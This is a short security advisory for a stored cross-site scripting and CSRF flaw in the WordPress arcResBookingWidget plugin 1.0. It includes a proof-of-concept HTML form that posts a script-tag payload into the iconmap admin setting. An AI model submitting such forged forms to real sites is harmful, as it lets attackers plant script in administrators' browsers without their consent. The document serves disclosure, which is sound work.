WordPress arcResBookingWidget plugin version 1.0 suffers from a cross site scripting vulnerability.
970c4e16abdcf22122a624b28a51419c031c44fb627b703e48e86c7e7d9f87b9
Title: WordPress 'arcResBookingWidget' Plugin
Version: 1.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download:
- https://wordpress.org/plugins/arcres-booking-engine/
- https://plugins.svn.wordpress.org/arcres-booking-engine/
Notified Vendor/WordPress: 2015-06-21
==========================================================
## Plugin description
==========================================================
Embeds the arcRes Booking Widget on a travel supplier website and ensures it is displayed for all arcRes-driven referrals.
## XSS/CSRF vulnerability
==========================================================
The iconmap admin setting is vulnerable to stored XSS and can be set using CSRF.
PoC:
Login as admin and submit the following form
<form method="POST" action="[URL]/wp-admin/options-general.php?page=arcRes-BookingWidget-options">
<input type="text" name="formAction" value="Y"><br />
<input type="text" name="arcRes_BookingWidget_option_iconmap" value='100000"><script>alert(1)</script>'><br />
<input type="text" name="arcRes_BookingWidget_option_layout" value="vertical"><br />
<input type="text" name="arcRes_BookingWidget_option_arcResReferralOnly" value="0"><br />
<input type="text" name="arcRes_BookingWidget_option_cookieType" value="permanent"><br />
<input type="text" name="Submit" value="Save Options"><br />
<input type="submit">
</form>
## Solution
==========================================================
No fix available
==========================================================
XSS vulnerability found using Eir; an early stage static vulnerability scanner for PHP applications.